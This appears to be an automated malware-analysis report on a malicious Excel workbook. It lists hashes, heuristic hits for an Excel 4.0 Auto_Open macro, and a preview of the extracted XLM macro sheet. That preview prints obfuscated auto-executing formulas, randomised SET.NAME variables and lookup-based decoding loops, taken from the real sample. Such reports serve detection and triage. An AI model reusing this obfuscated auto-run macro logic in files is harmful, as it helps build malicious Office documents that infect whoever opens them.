Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 7a212f038959a131…

MALICIOUS

Office (OLE)

36.5 KB Created: 2020-11-27 11:38:44 Authoring application: Microsoft Excel First seen: 2020-12-25
MD5: 4e180dbd5255165c17bf31ff515245ef SHA-1: 671043b455dab6e81d599e241378c34d18607903 SHA-256: 7a212f038959a1310f4362ba0fea3c199b04acad7428bdc0ce241f88c07b7e0d
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6805 bytes
SHA-256: 21b9ee16f6fd8c5f117946e8ea966bac351226cc064b484601f6a1f52b99c147
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     17 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  ounWIARA
' 0018     23 LABEL : Cell Value, String Constant - abDZfACB len=0 
' 0018     20 LABEL : Cell Value, String Constant - aMljO len=0 
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!F190 
' 0018     27 LABEL : Cell Value, String Constant - BpwXTdJTwKSp len=0 
' 0018     22 LABEL : Cell Value, String Constant - dCndYqJ len=0 
' 0018     21 LABEL : Cell Value, String Constant - EQVmdR len=0 
' 0018     20 LABEL : Cell Value, String Constant - FbkVH len=0 
' 0018     26 LABEL : Cell Value, String Constant - fnSqHFRxEGi len=0 
' 0018     27 LABEL : Cell Value, String Constant - FZoCJrGzeeNK len=0 
' 0018     22 LABEL : Cell Value, String Constant - hJcvIoK len=0 
' 0018     26 LABEL : Cell Value, String Constant - IMRajEwnSPI len=0 
' 0018     22 LABEL : Cell Value, String Constant - lmldejU len=0 
' 0018     25 LABEL : Cell Value, String Constant - lvNgziFIOD len=0 
' 0018     20 LABEL : Cell Value, String Constant - OClPN len=0 
' 0018     26 LABEL : Cell Value, String Constant - oKjMydhSLwy len=0 
' 0018     23 LABEL : Cell Value, String Constant - pMUBhKJK len=0 
' 0018     24 LABEL : Cell Value, String Constant - ShCEKNMEI len=0 
' 0018     25 LABEL : Cell Value, String Constant - TpqnswYNBO len=0 
' 0018     20 LABEL : Cell Value, String Constant - xnMEd len=0 
' 0018     22 LABEL : Cell Value, String Constant - XpQHfnr len=0 
' 0018     23 LABEL : Cell Value, String Constant - ZeDwMuas len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  ounWIARA,S92,"",780.00000000000000000000
'  ounWIARA,S93,"",335.00000000000000000000
'  ounWIARA,F94,"SET.NAME("fnSqHFRxEGi",0+VALUE("0"))",""
'  ounWIARA,S94,"",-144.00000000000000000000
'  ounWIARA,S95,"",419.00000000000000000000
'  ounWIARA,S96,"",920.00000000000000000000
'  ounWIARA,S97,"",986.00000000000000000000
'  ounWIARA,F98,"SET.NAME("dCndYqJ",fnSqHFRxEGi)",""
'  ounWIARA,F100,"SET.NAME("XpQHfnr",fnSqHFRxEGi)",""
'  ounWIARA,F103,"SET.NAME("lmldejU",COUNTA(EQVmdR))",""
'  ounWIARA,F106,"SET.NAME("xnMEd",COUNTA(ShCEKNMEI))",""
'  ounWIARA,F109,[],""
'  ounWIARA,F114,"SET.NAME("lvNgziFIOD","")",""
'  ounWIARA,F118,"dCndYqJ",""
'  ounWIARA,F123,"SET.NAME("TpqnswYNBO",HLOOKUP("*",EQVmdR,dCndYqJ,FALSE))",""
'  ounWIARA,F126,"ZeDwMuas",""
'  ounWIARA,F130,"SET.NAME("pMUBhKJK",fnSqHFRxEGi)",""
'  ounWIARA,F134,[],""
'  ounWIARA,F136,"pMUBhKJK",""
'  ounWIARA,F140,"FbkVH",""
'  ounWIARA,F144,"abDZfACB",""
'  ounWIARA,F147,"BpwXTdJTwKSp",""
'  ounWIARA,F150,"SET.NAME("IMRajEwnSPI",VALUE(HLOOKUP("*",ShCEKNMEI,BpwXTdJTwKSp,FALSE)))",""
'  ounWIARA,F155,"oKjMydhSLwy",""
'  ounWIARA,F160,"lvNgziFIOD",""
'  ounWIARA,F165,"XpQHfnr",""
'  ounWIARA,F168,NEXT(),""
'  ounWIARA,F171,"hJcvIoK",""
'  ounWIARA,F175,[],""
'  ounWIARA,F180,"FZoCJrGzeeNK",""
'  ounWIARA,F183,NEXT(),""
'  ounWIARA,F185,RETURN(),""
'  ounWIARA,F216,"SET.NAME("aMljO",F94)",""
'  ounWIARA,F221,"EQVmdR",""
'  ounWIARA,F224,"SET.NAME("ShCEKNMEI",R72C13)",""
'  ounWIARA,F228,"SET.NAME("FZoCJrGzeeNK",233)",""
'  ounWIARA,F230,"SET.NAME("OClPN",6)",""
'  ounWIARA,F232,aMljO(),""
'  ounWIARA,F233,HALT(),""